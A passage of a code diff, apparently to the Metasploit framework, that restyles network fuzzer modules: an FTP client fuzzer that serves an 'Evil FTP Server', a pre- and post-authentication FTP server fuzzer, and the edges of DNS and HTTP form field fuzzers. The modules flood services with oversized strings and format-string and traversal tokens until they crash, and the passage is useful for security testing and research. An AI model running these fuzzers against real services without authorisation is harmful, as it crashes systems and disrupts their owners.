+ 1.upto(iter) do + nsdomain = setup_fqdn(@domain, '') + split_fqdn = nsdomain.split('.') + payload = split_fqdn.inject('') { |a, x| a + [x.length, x].pack('CA*') } + pkt = build_packet(dns_opcode, dnssec, trailingnul, dns_req, dns_class, payload) + pkt = corrupt_header(pkt, errorhdr) if errorhdr > 0 + if @startsize == 0 && !dns_send(pkt, @underlayer_protocol) + break + end + + while @startsize <= @endsize + pkt = fuzz_padding(pkt, @startsize) + break if !dns_send(pkt, @underlayer_protocol) + + @startsize += @stepsize end + @startsize = datastore['STARTSIZE'] end end end diff --git a/modules/auxiliary/fuzzers/ftp/client_ftp.rb b/modules/auxiliary/fuzzers/ftp/client_ftp.rb index db1bdae4e997d..648259b030cc1 100644 --- a/modules/auxiliary/fuzzers/ftp/client_ftp.rb +++ b/modules/auxiliary/fuzzers/ftp/client_ftp.rb @@ -9,39 +9,42 @@ # ## - class MetasploitModule < Msf::Auxiliary include Exploit::Remote::TcpServer - def initialize() + def initialize super( - 'Name' => 'Simple FTP Client Fuzzer', - 'Description' => %q{ + 'Name' => 'Simple FTP Client Fuzzer', + 'Description' => %q{ This module will serve an FTP server and perform FTP client interaction fuzzing }, - 'Author' => [ 'corelanc0d3r ' ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ], - ] - ) + 'Author' => [ 'corelanc0d3r ' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ], + ], + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]), - OptString.new('FUZZCMDS', [ true, "Comma separated list of commands to fuzz (Uppercase).", "LIST,NLST,LS,RETR", nil, /(?:[A-Z]+,?)+/ ]), - OptInt.new('STARTSIZE', [ true, "Fuzzing string startsize.",1000]), - OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]), - OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]), - OptBool.new('RESET', [ true, "Reset fuzzing values after client disconnects with QUIT cmd.",true]), - OptString.new('WELCOME', [ true, "FTP Server welcome message.","Evil FTP Server Ready"]), - OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's (fuzzing payload).",true]), - OptBool.new('ERROR', [ true, "Reply with error codes only",false]), - OptBool.new('EXTRALINE', [ true, "Add extra CRLF's in response to LIST",true]) - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 21 ]), + OptString.new('FUZZCMDS', [ true, 'Comma separated list of commands to fuzz (Uppercase).', 'LIST,NLST,LS,RETR', nil, /(?:[A-Z]+,?)+/ ]), + OptInt.new('STARTSIZE', [ true, 'Fuzzing string startsize.', 1000]), + OptInt.new('ENDSIZE', [ true, 'Max Fuzzing string size.', 200000]), + OptInt.new('STEPSIZE', [ true, 'Increment fuzzing string each attempt.', 1000]), + OptBool.new('RESET', [ true, 'Reset fuzzing values after client disconnects with QUIT cmd.', true]), + OptString.new('WELCOME', [ true, 'FTP Server welcome message.', 'Evil FTP Server Ready']), + OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's (fuzzing payload).", true]), + OptBool.new('ERROR', [ true, 'Reply with error codes only', false]), + OptBool.new('EXTRALINE', [ true, "Add extra CRLF's in response to LIST", true]) + ] + ) end - # Not compatible today def support_ipv6? false @@ -53,287 +56,288 @@ def setup end def run - @fuzzsize=datastore['STARTSIZE'].to_i - exploit() + @fuzzsize = datastore['STARTSIZE'].to_i + exploit end # Handler for new FTP client connections - def on_client_connect(c) - @state[c] = { - :name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, - :port => c.peerport, - :user => nil, - :pass => nil + def on_client_connect(client) + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport, + user: nil, + pass: nil } # set up an active data port on port 20 - print_status("Client connected : " + c.peerhost) - active_data_port_for_client(c, 20) - send_response(c,"","WELCOME",220," "+datastore['WELCOME']) + print_status("Client connected : #{client.peerhost}") + active_data_port_for_client(client, 20) + send_response(client, '', 'WELCOME', 220, ' ' + datastore['WELCOME']) # from this point forward, on_client_data() will take over end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end # Active and Passive data connections - def passive_data_port_for_client(c) - @state[c][:mode] = :passive - if(not @state[c][:passive_sock]) + def passive_data_port_for_client(client) + @state[client][:mode] = :passive + if !(@state[client][:passive_sock]) s = Rex::Socket::TcpServer.create( 'LocalHost' => '0.0.0.0', 'LocalPort' => 0, - 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) dport = s.getsockname[2] - @state[c][:passive_sock] = s - @state[c][:passive_port] = dport + @state[client][:passive_sock] = s + @state[client][:passive_port] = dport print_status(" - Set up passive data port #{dport}") end - @state[c][:passive_port] + @state[client][:passive_port] end - - def active_data_port_for_client(c,port) - @state[c][:mode] = :active - connector = Proc.new { - host = c.peerhost.dup - sock = Rex::Socket::Tcp.create( + def active_data_port_for_client(client, port) + @state[client][:mode] = :active + connector = proc do + host = client.peerhost.dup + Rex::Socket::Tcp.create( 'PeerHost' => host, 'PeerPort' => port, - 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) - } - @state[c][:active_connector] = connector - @state[c][:active_port] = port + end + @state[client][:active_connector] = connector + @state[client][:active_port] = port print_status(" - Set up active data port #{port}") end - - def establish_data_connection(c) - print_status(" - Establishing #{@state[c][:mode]} data connection") + def establish_data_connection(client) + print_status(" - Establishing #{@state[client][:mode]} data connection") begin - Timeout.timeout(20) do - if(@state[c][:mode] == :active) - return @state[c][:active_connector].call() - end - if(@state[c][:mode] == :passive) - return @state[c][:passive_sock].accept + Timeout.timeout(20) do + if (@state[client][:mode] == :active) + return @state[client][:active_connector].call + end + if (@state[client][:mode] == :passive) + return @state[client][:passive_sock].accept + end end - end - print_status(" - Data connection active") - rescue ::Exception => e + print_status(' - Data connection active') + rescue StandardError => e print_error("Failed to establish data connection: #{e.class} #{e}") end nil end # FTP Client-to-Server Command handlers - def on_client_data(c) + def on_client_data(client) # get the client data - data = c.get_once - return if not data + data = client.get_once + return if !data + # split data into command and arguments - cmd,arg = data.strip.split(/\s+/, 2) - arg ||= "" + cmd, arg = data.strip.split(/\s+/, 2) + arg ||= '' + + return if !cmd - return if not cmd # convert commands to uppercase and strip spaces case cmd.upcase.strip when 'USER' - @state[c][:user] = arg - send_response(c,arg,"USER",331," User name okay, need password") + @state[client][:user] = arg + send_response(client, arg, 'USER', 331, ' User name okay, need password') return when 'PASS' - @state[c][:pass] = arg - send_response(c,arg,"PASS",230,"-Password accepted.\r\n230 User logged in.") + @state[client][:pass] = arg + send_response(client, arg, 'PASS', 230, "-Password accepted.\r\n230 User logged in.") return when 'QUIT' - if (datastore['RESET']) - print_status("Resetting fuzz settings") + if datastore['RESET'] + print_status('Resetting fuzz settings') @fuzzsize = datastore['STARTSIZE'] @stepsize = datastore['STEPSIZE'] end - print_status("** Client disconnected **") - send_response(c,arg,"QUIT",221," User logged out") + print_status('** Client disconnected **') + send_response(client, arg, 'QUIT', 221, ' User logged out') return when 'SYST' - send_response(c,arg,"SYST",215," UNIX Type: L8") + send_response(client, arg, 'SYST', 215, ' UNIX Type: L8') return when 'TYPE' - send_response(c,arg,"TYPE",200," Type set to #{arg}") + send_response(client, arg, 'TYPE', 200, " Type set to #{arg}") return when 'CWD' - send_response(c,arg,"CWD",250," CWD Command successful") + send_response(client, arg, 'CWD', 250, ' CWD Command successful') return when 'PWD' - send_response(c,arg,"PWD",257," \"/\" is current directory.") + send_response(client, arg, 'PWD', 257, ' "/" is current directory.') return when 'REST' - send_response(c,arg,"REST",200," OK") + send_response(client, arg, 'REST', 200, ' OK') return when 'XPWD' - send_response(c,arg,"PWD",257," \"/\" is current directory") + send_response(client, arg, 'PWD', 257, ' "/" is current directory') return when 'SIZE' - send_response(c,arg,"SIZE",213," 1") + send_response(client, arg, 'SIZE', 213, ' 1') return when 'MDTM' - send_response(c,arg,"MDTM",213," #{Time.now.strftime("%Y%m%d%H%M%S")}") + send_response(client, arg, 'MDTM', 213, " #{Time.now.strftime('%Y%m%d%H%M%S')}") return when 'CDUP' - send_response(c,arg,"CDUP",257," \"/\" is current directory") + send_response(client, arg, 'CDUP', 257, ' "/" is current directory') return when 'PORT' - port = arg.split(',')[4,2] - if(not port and port.length == 2) - c.put("500 Illegal PORT command.\r\n") + port = arg.split(',')[4, 2] + if !port && (port.length == 2) + client.put("500 Illegal PORT command.\r\n") return end - port = port.map{|x| x.to_i}.pack('C*').unpack('n')[0] - active_data_port_for_client(c, port) - send_response(c,arg,"PORT",200," PORT command successful") + port = port.map(&:to_i).pack('C*').unpack('n')[0] + active_data_port_for_client(client, port) + send_response(client, arg, 'PORT', 200, ' PORT command successful') return when 'PASV' print_status("Handling #{cmd.upcase} command") - daddr = Rex::Socket.source_address(c.peerhost) - dport = passive_data_port_for_client(c) - @state[c][:daddr] = daddr - @state[c][:dport] = dport - pasv = (daddr.split('.') + [dport].pack('n').unpack('CC')).join(',') - dofuzz = fuzz_this_cmd("PASV") + daddr = Rex::Socket.source_address(client.peerhost) + dport = passive_data_port_for_client(client) + @state[client][:daddr] = daddr + @state[client][:dport] = dport + pasv = (daddr.split('.') + [dport].pack('n').unpack('CC')).join(',') + dofuzz = fuzz_this_cmd('PASV') code = 227 if datastore['ERROR'] code = 557 end - if (dofuzz==1) + if (dofuzz == 1) print_status(" * Fuzzing response for PASV, payload length #{@fuzzdata.length}") - send_response(c,arg,"PASV",code," Entering Passive Mode (#{@fuzzdata},1,1,1,1,1)\r\n") - incr_fuzzsize() + send_response(client, arg, 'PASV', code, " Entering Passive Mode (#{@fuzzdata},1,1,1,1,1)\r\n") + incr_fuzzsize else - send_response(c,arg,"PASV",code," Entering Passive Mode (#{pasv})") + send_response(client, arg, 'PASV', code, " Entering Passive Mode (#{pasv})") end return when /^(LIST|NLST|LS)$/ # special case - requires active/passive connection print_status("Handling #{cmd.upcase} command") - conn = establish_data_connection(c) - if(not conn) - c.put("425 Can't build data connection\r\n") + conn = establish_data_connection(client) + if !conn + client.put("425 Can't build data connection\r\n") return end - print_status(" - Data connection set up") + print_status(' - Data connection set up') code = 150 if datastore['ERROR'] code = 550 end - c.put("#{code} Here comes the directory listing.\r\n") + client.put("#{code} Here comes the directory listing.\r\n") code = 226 if datastore['ERROR'] code = 550 end - c.put("#{code} Directory send ok.\r\n") - strfile = "passwords.txt" - strfolder = "Secret files" - dofuzz = fuzz_this_cmd("LIST") - if (dofuzz==1) - strfile = @fuzzdata + ".txt" + client.put("#{code} Directory send ok.\r\n") + strfile = 'passwords.txt' + strfolder = 'Secret files' + dofuzz = fuzz_this_cmd('LIST') + if (dofuzz == 1) + strfile = @fuzzdata + '.txt' strfolder = @fuzzdata paylen = @fuzzdata.length print_status("* Fuzzing response for LIST, payload length #{paylen}") - incr_fuzzsize() + incr_fuzzsize end - print_status(" - Sending directory list via data connection") - dirlist = "" + print_status(' - Sending directory list via data connection') if datastore['EXTRALINE'] extra = "\r\n" else - extra = "" + extra = '' end dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{strfolder}\r\n" + extra dirlist << "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{strfile}\r\n" + extra - conn.put("total 2\r\n"+dirlist) + conn.put("total 2\r\n" + dirlist) conn.close return when 'RETR' # special case - requires active/passive connection print_status("Handling #{cmd.upcase} command") - conn = establish_data_connection(c) - if(not conn) - c.put("425 Can't build data connection\r\n") + conn = establish_data_connection(client) + if !conn + client.put("425 Can't build data connection\r\n") return end - print_status(" - Data connection set up") - strcontent = "blahblahblah" - dofuzz = fuzz_this_cmd("LIST") - if (dofuzz==1) + print_status(' - Data connection set up') + strcontent = 'blahblahblah' + dofuzz = fuzz_this_cmd('LIST') + if (dofuzz == 1) strcontent = @fuzzdata paylen = @fuzzdata.length print_status("* Fuzzing response for RETR, payload length #{paylen}") - incr_fuzzsize() + incr_fuzzsize end - c.put("150 Opening BINARY mode data connection #{strcontent}\r\n") - print_status(" - Sending data via data connection") + client.put("150 Opening BINARY mode data connection #{strcontent}\r\n") + print_status(' - Sending data via data connection') conn.put(strcontent) - c.put("226 Transfer complete\r\n") + client.put("226 Transfer complete\r\n") conn.close return when /^(STOR|MKD|REM|DEL|RMD)$/ - send_response(c,arg,cmd.upcase,500," Access denied") + send_response(client, arg, cmd.upcase, 500, ' Access denied') return when 'FEAT' - send_response(c,arg,"FEAT","","211-Features:\r\n211 End") + send_response(client, arg, 'FEAT', '', "211-Features:\r\n211 End") return when 'HELP' - send_response(c,arg,"HELP",214," Syntax: #{arg} - (#{arg}-specific commands)") + send_response(client, arg, 'HELP', 214, " Syntax: #{arg} - (#{arg}-specific commands)") when 'SITE' - send_response(c,arg,"SITE",200," OK") + send_response(client, arg, 'SITE', 200, ' OK') return when 'NOOP' - send_response(c,arg,"NOOP",200," OK") + send_response(client, arg, 'NOOP', 200, ' OK') return when 'ABOR' - send_response(c,arg,"ABOR",225," Abor command successful") + send_response(client, arg, 'ABOR', 225, ' Abor command successful') return when 'ACCT' - send_response(c,arg,"ACCT",200," OK") + send_response(client, arg, 'ACCT', 200, ' OK') return when 'RNFR' - send_response(c,arg,"RNRF",350," File.exist") + send_response(client, arg, 'RNRF', 350, ' File.exist') return when 'RNTO' - send_response(c,arg,"RNTO",350," File.exist") + send_response(client, arg, 'RNTO', 350, ' File.exist') return + else - send_response(c,arg,cmd.upcase,200," Command not understood") + send_response(client, arg, cmd.upcase, 200, ' Command not understood') return end + return end @@ -341,71 +345,76 @@ def on_client_data(c) # Do we need to fuzz this command ? def fuzz_this_cmd(cmd) - @fuzzcommands = datastore['FUZZCMDS'].split(",") + @fuzzcommands = datastore['FUZZCMDS'].split(',') + fuzzme = 0 @fuzzcommands.each do |thiscmd| - if ((cmd.upcase == thiscmd.upcase) || (thiscmd=="*")) && (fuzzme==0) + if ((cmd.upcase == thiscmd.upcase) || (thiscmd == '*')) && (fuzzme == 0) fuzzme = 1 + break end end - if fuzzme==1 + + if fuzzme == 1 # should we use a cyclic pattern, or just A's ? if datastore['CYCLIC'] @fuzzdata = Rex::Text.pattern_create(@fuzzsize) else - @fuzzdata = "A" * @fuzzsize + @fuzzdata = 'A' * @fuzzsize end end + return fuzzme end def incr_fuzzsize @stepsize = datastore['STEPSIZE'].to_i - @fuzzsize = @fuzzsize + @stepsize + @fuzzsize += @stepsize print_status("(i) Setting next payload size to #{@fuzzsize}") if (@fuzzsize > datastore['ENDSIZE'].to_i) @fuzzsize = datastore['ENDSIZE'].to_i end end - # Send data back to the server - def send_response(c,arg,cmd,code,msg) + def send_response(client, arg, cmd, code, msg) if arg.length > 40 - showarg = arg[0,40] + "..." + showarg = arg[0, 40] + '...' else showarg = arg end + if cmd.length > 40 - showcmd = cmd[0,40] + "..." + showcmd = cmd[0, 40] + '...' else showcmd = cmd end + print_status("Sending response for '#{showcmd}' command, arg #{showarg}") dofuzz = fuzz_this_cmd(cmd) + ## Fuzz this command ? (excluding PASV, which is handled in the command handler) - if (dofuzz==1) && (cmd.upcase != "PASV") + if (dofuzz == 1) && (cmd.upcase != 'PASV') paylen = @fuzzdata.length print_status("* Fuzzing response for #{cmd.upcase}, payload length #{paylen}") if datastore['ERROR'] - code = "550 " + code = '550 ' end - if cmd=="FEAT" - @fuzzdata = "211-Features:\r\n "+@fuzzdata+"\r\n211 End" + if cmd == 'FEAT' + @fuzzdata = "211-Features:\r\n " + @fuzzdata + "\r\n211 End" end - if cmd=="PWD" - @fuzzdata = " \"/"+@fuzzdata+"\" is current directory" + if cmd == 'PWD' + @fuzzdata = ' "/' + @fuzzdata + '" is current directory' end - cmsg = code.to_s + " " + @fuzzdata - c.put("#{cmsg}\r\n") - print_status("* Fuzz data sent") - incr_fuzzsize() + cmsg = code.to_s + ' ' + @fuzzdata + client.put("#{cmsg}\r\n") + print_status('* Fuzz data sent') + incr_fuzzsize else # Do not fuzz cmsg = code.to_s + msg cmsg = cmsg.strip - c.put("#{cmsg}\r\n") + client.put("#{cmsg}\r\n") end - return end end diff --git a/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb b/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb index 494f01d818ae8..1f906da53a1ce 100644 --- a/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb +++ b/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb @@ -9,134 +9,137 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Simple FTP Fuzzer', - 'Description' => %q{ + 'Name' => 'Simple FTP Fuzzer', + 'Description' => %q{ This module will connect to a FTP server and perform pre- and post-authentication fuzzing }, - 'Author' => [ 'corelanc0d3r ', 'jduck' ], - 'License' => MSF_LICENSE - ) + 'Author' => [ 'corelanc0d3r ', 'jduck' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) register_options( [ Opt::RPORT(21), - OptInt.new('STARTATSTAGE', [ false, "Start at this test stage",1]), - OptInt.new('STEPSIZE', [ false, "Increase string size each iteration with this number of chars",10]), - OptInt.new('DELAY', [ false, "Delay between connections in seconds",1]), - OptInt.new('STARTSIZE', [ false, "Fuzzing string startsize",10]), - OptInt.new('ENDSIZE', [ false, "Fuzzing string endsize",20000]), - OptInt.new('STOPAFTER', [ false, "Stop after x number of consecutive errors",2]), - OptString.new('USER', [ false, "Username",'anonymous']), - OptString.new('PASS', [ false, "Password",'mozilla@example.com']), - OptBool.new('FASTFUZZ', [ false, "Only fuzz with cyclic pattern",true]), - OptBool.new('CONNRESET', [ false, "Break on CONNRESET error",true]), - ]) + OptInt.new('STARTATSTAGE', [ false, 'Start at this test stage', 1]), + OptInt.new('STEPSIZE', [ false, 'Increase string size each iteration with this number of chars', 10]), + OptInt.new('DELAY', [ false, 'Delay between connections in seconds', 1]), + OptInt.new('STARTSIZE', [ false, 'Fuzzing string startsize', 10]), + OptInt.new('ENDSIZE', [ false, 'Fuzzing string endsize', 20000]), + OptInt.new('STOPAFTER', [ false, 'Stop after x number of consecutive errors', 2]), + OptString.new('USER', [ false, 'Username', 'anonymous']), + OptString.new('PASS', [ false, 'Password', 'mozilla@example.com']), + OptBool.new('FASTFUZZ', [ false, 'Only fuzz with cyclic pattern', true]), + OptBool.new('CONNRESET', [ false, 'Break on CONNRESET error', true]), + ] + ) @evilchars = [ - 'A','a','%s','%d','%n','%x','%p','-1','0','0xfffffffe','0xffffffff','A/','//','/..','//..', - 'A%20','./A','.A',',A','A:','!A','&A','?A','\A','../A/','..?','//A:','\\A','{A','$A','A*', - 'cmd','A@a.com','#A','A/../','~','~A','~A/','A`/','>A','A', ' Fuzzing size set to #{count} (#{prepend}#{evilstr})") - initial_cmds.each do |cmd| - send_pkt(cmd, true) - end - pkt = prepend + evil + "\r\n" - send_pkt(pkt, true) - sock.put("QUIT\r\n") - select(nil, nil, nil, datastore['DELAY']) - disconnect + next unless (@stopprocess == false) - count += datastore['STEPSIZE'] + count = datastore['STARTSIZE'] + print_status(" Character : #{evilstr} (#{ecount}/#{@emax})") + ecount += 1 + while count <= datastore['ENDSIZE'] + begin + connect + if datastore['FASTFUZZ'] + evil = Rex::Text.pattern_create(count) + else + evil = evilstr * count + end + print_status(" -> Fuzzing size set to #{count} (#{prepend}#{evilstr})") + initial_cmds.each do |cmd| + send_pkt(cmd) + end + pkt = prepend + evil + "\r\n" + send_pkt(pkt) + sock.put("QUIT\r\n") + select(nil, nil, nil, datastore['DELAY']) + disconnect - rescue ::Exception => e - @error_cnt += 1 - print_status("Exception #{@error_cnt} of #{@nr_errors}") - if (e.class.name == 'Rex::ConnectionRefused') or (e.class.name == 'EOFError') or (e.class.name == 'Errno::ECONNRESET' and datastore['CONNRESET']) or (e.class.name == 'Errno::EPIPE') - if datastore['ExpandCrash'] - print_status("Crash string : #{prepend}#{evil}") - else - print_status("Crash string : #{prepend}#{evilstr} x #{count}") - end - if @error_cnt >= @nr_errors - print_status("System does not respond - exiting now\n") - @stopprocess = true - print_error("Error: #{e.class} #{e} #{e.backtrace}\n") - return - else - print_status("Exception triggered, need #{@nr_errors - @error_cnt} more exception(s) before interrupting process") - select(nil,nil,nil,3) #wait 3 seconds - end + count += datastore['STEPSIZE'] + rescue StandardError => e + @error_cnt += 1 + print_status("Exception #{@error_cnt} of #{@nr_errors}") + if e.instance_of?(::Rex::ConnectionRefused) || e.instance_of?(::EOFError) || (e.instance_of?(::Errno::ECONNRESET) && datastore['CONNRESET']) || e.instance_of?(::Errno::EPIPE) + if datastore['ExpandCrash'] + print_status("Crash string : #{prepend}#{evil}") + else + print_status("Crash string : #{prepend}#{evilstr} x #{count}") end if @error_cnt >= @nr_errors - count += datastore['STEPSIZE'] - @error_cnt = 0 + print_status("System does not respond - exiting now\n") + @stopprocess = true + print_error("Error: #{e.class} #{e} #{e.backtrace}\n") + break + else + print_status("Exception triggered, need #{@nr_errors - @error_cnt} more exception(s) before interrupting process") + select(nil, nil, nil, 3) # wait 3 seconds end end + if @error_cnt >= @nr_errors + count += datastore['STEPSIZE'] + @error_cnt = 0 + end end end end end def ftp_commands - if datastore['FtpCommands'].to_s.upcase == "DEFAULT" + if datastore['FtpCommands'].to_s.upcase == 'DEFAULT' @commands else datastore['FtpCommands'].split(/[\s,]+/) @@ -144,7 +147,6 @@ def ftp_commands end def run_host(ip) - startstage = datastore['STARTATSTAGE'] @nr_errors = datastore['STOPAFTER'] @@ -155,97 +157,100 @@ def run_host(ip) @evilchars = [''] end - print_status("Connecting to host " + ip + " on port " + datastore['RPORT'].to_s) + print_status('Connecting to host ' + ip + ' on port ' + datastore['RPORT'].to_s) if (startstage == 1) - process_phase(1, "Fuzzing without command") + process_phase(1, 'Fuzzing without command') startstage += 1 end - if (startstage == 2) and (@stopprocess == false) - process_phase(2, "Fuzzing USER", 'USER ') + if (startstage == 2) && (@stopprocess == false) + process_phase(2, 'Fuzzing USER', 'USER ') startstage += 1 end - if (startstage == 3) and (@stopprocess == false) - process_phase(3, "Fuzzing PASS", 'PASS ', - [ "USER " + datastore['USER'] + "\r\n" ]) + if (startstage == 3) && (@stopprocess == false) + process_phase(3, 'Fuzzing PASS', 'PASS ', + [ 'USER ' + datastore['USER'] + "\r\n" ]) startstage += 1 end if (startstage == 4) - print_status "[Phase 4] Fuzzing commands: #{ftp_commands.join(", ")}" - ftp_commands().each do |cmd| - if (@stopprocess == false) - process_phase(4, "Fuzzing command: #{cmd}", "#{cmd} ", - [ - "USER " + datastore['USER'] + "\r\n", - "PASS " + datastore['PASS'] + "\r\n" - ]) - end + print_status "[Phase 4] Fuzzing commands: #{ftp_commands.join(', ')}" + ftp_commands.each do |cmd| + next unless (@stopprocess == false) + + process_phase( + 4, + "Fuzzing command: #{cmd}", "#{cmd} ", + [ + 'USER ' + datastore['USER'] + "\r\n", + 'PASS ' + datastore['PASS'] + "\r\n" + ] + ) end # Don't progress into stage 5, it must be selected manually. - #startstage += 1 + # startstage += 1 end # Fuzz other commands, all command combinations in one session if (startstage == 5) - print_status("[Phase 5] Fuzzing other commands (Part 2, #{Time.now.localtime}): #{ftp_commands.join(", ")}") - ftp_commands().each do |cmd| - if (@stopprocess == false) - ecount = 1 - count = datastore['STARTSIZE'] - print_status("Fuzzing command #{cmd} - #{Time.now.localtime}" ) + print_status("[Phase 5] Fuzzing other commands (Part 2, #{Time.now.localtime}): #{ftp_commands.join(', ')}") + ftp_commands.each do |cmd| + next unless (@stopprocess == false) - connect - pkt = "USER " + datastore['USER'] + "\r\n" - send_pkt(pkt, true) - pkt = "PASS " + datastore['PASS'] + "\r\n" - send_pkt(pkt, true) - - while count <= datastore['ENDSIZE'] - print_status(" -> Fuzzing size set to #{count}") - begin - @evilchars.each do |evilstr| - if datastore['FASTFUZZ'] - evilstr = "Cyclic" - evil = Rex::Text.pattern_create(count) - @emax = 1 - ecount = 1 - else - evil = evilstr * count - end - print_status(" Command : #{cmd}, Character : #{evilstr} (#{ecount}/#{@emax})") - ecount += 1 - pkt = cmd + " " + evil + "\r\n" - send_pkt(pkt, true) - select(nil, nil, nil, datastore['DELAY']) - @error_cnt = 0 - end - rescue ::Exception => e - @error_cnt += 1 - print_status("Exception #{@error_cnt} of #{@nr_errors}") - if (e.class.name == 'Rex::ConnectionRefused') or (e.class.name == 'EOFError') or (e.class.name == 'Errno::ECONNRESET' and datastore['CONNRESET']) or (e.class.name == 'Errno::EPIPE') - if @error_cnt >= @nr_errors - print_status("System does not respond - exiting now\n") - @stopprocess = true - print_error("Error: #{e.class} #{e} #{e.backtrace}\n") - return - else - print_status("Exception triggered, need #{@nr_errors - @error_cnt} more exception(s) before interrupting process") - select(nil,nil,nil,3) #wait 3 seconds - end + ecount = 1 + count = datastore['STARTSIZE'] + print_status("Fuzzing command #{cmd} - #{Time.now.localtime}") + + connect + pkt = 'USER ' + datastore['USER'] + "\r\n" + send_pkt(pkt) + pkt = 'PASS ' + datastore['PASS'] + "\r\n" + send_pkt(pkt) + + while count <= datastore['ENDSIZE'] + print_status(" -> Fuzzing size set to #{count}") + begin + @evilchars.each do |evilstr| + if datastore['FASTFUZZ'] + evilstr = 'Cyclic' + evil = Rex::Text.pattern_create(count) + @emax = 1 + ecount = 1 + else + evil = evilstr * count end + print_status(" Command : #{cmd}, Character : #{evilstr} (#{ecount}/#{@emax})") + ecount += 1 + pkt = cmd + ' ' + evil + "\r\n" + send_pkt(pkt) + select(nil, nil, nil, datastore['DELAY']) + @error_cnt = 0 + end + rescue StandardError => e + @error_cnt += 1 + print_status("Exception #{@error_cnt} of #{@nr_errors}") + if e.instance_of?(::Rex::ConnectionRefused) || e.instance_of?(::EOFError) || (e.instance_of?(::Errno::ECONNRESET) && datastore['CONNRESET']) || e.instance_of?(::Errno::EPIPE) if @error_cnt >= @nr_errors - @error_cnt = 0 + print_status("System does not respond - exiting now\n") + @stopprocess = true + print_error("Error: #{e.class} #{e} #{e.backtrace}\n") + break end + + print_status("Exception triggered, need #{@nr_errors - @error_cnt} more exception(s) before interrupting process") + select(nil, nil, nil, 3) # wait 3 seconds + end + if @error_cnt >= @nr_errors + @error_cnt = 0 end - count += datastore['STEPSIZE'] end - sock.put("QUIT\r\n") - select(nil, nil, nil, datastore['DELAY']) - disconnect + count += datastore['STEPSIZE'] end + sock.put("QUIT\r\n") + select(nil, nil, nil, datastore['DELAY']) + disconnect end end end diff --git a/modules/auxiliary/fuzzers/http/http_form_field.rb b/modules/auxiliary/fuzzers/http/http_form_field.rb index 8bed6e5f62127..8a7916eb6a3c9 100644 --- a/modules/auxiliary/fuzzers/http/http_form_field.rb +++ b/modules/auxiliary/fuzzers/http/http_form_field.rb @@ -7,136 +7,144 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'HTTP Form Field Fuzzer', - 'Description' => %q{ - This module will grab all fields from a form, - and launch a series of POST actions, fuzzing the contents - of the form fields. You can optionally fuzz headers too - (option is enabled by default) - }, - 'Author' => [ - 'corelanc0d3r', - 'Paulino Calderon ' #Added cookie handling + super( + update_info( + info, + 'Name' => 'HTTP Form Field Fuzzer', + 'Description' => %q{ + This module will grab all fields from a form, + and launch a series of POST actions, fuzzing the contents + of the form fields. You can optionally fuzz headers too + (option is enabled by default) + }, + 'Author' => [ + 'corelanc0d3r', + 'Paulino Calderon ' # Added cookie handling ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['URL','http://www.corelan.be:8800/index.php/2010/11/12/metasploit-module-http-form-field-fuzzer'], - ] - )) + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'http://www.corelan.be:8800/index.php/2010/11/12/metasploit-module-http-form-field-fuzzer'], + ], + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ - OptString.new('URL', [ false, "The URL that contains the form", "/"]), - OptString.new('FORM', [ false, "The name of the form to use. Leave empty to fuzz all forms","" ] ), - OptString.new('FIELDS', [ false, "Name of the fields to fuzz. Leave empty to fuzz all fields","" ] ), - OptString.new('ACTION', [ false, "Form action full URI. Leave empty to autodetect","" ] ), - OptInt.new('STARTSIZE', [ true, "Fuzzing string startsize.",1000]), - OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",40000]), - OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]), - OptInt.new('TIMEOUT', [ true, "Number of seconds to wait for response on GET or POST",15]), - OptInt.new('DELAY', [ true, "Number of seconds to wait between 2 actions",0]), - OptInt.new('STOPAFTER', [ false, "Stop after x number of consecutive errors",2]), - OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's (fuzzing payload).",true]), - OptBool.new('FUZZHEADERS', [ true, "Fuzz headers",true]), - OptString.new('HEADERFIELDS', [ false, "Name of the headerfields to fuzz. Leave empty to fuzz all fields","" ] ), - OptString.new('TYPES', [ true, "Field types to fuzz","text,password,inputtextbox"]), - OptString.new('CODE', [ true, "Response code(s) indicating OK", "200,301,302,303" ] ), - OptBool.new('HANDLECOOKIES', [ true, "Appends cookies with every request.",false]) - ]) + OptString.new('URL', [ false, 'The URL that contains the form', '/']), + OptString.new('FORM', [ false, 'The name of the form to use. Leave empty to fuzz all forms', '' ]), + 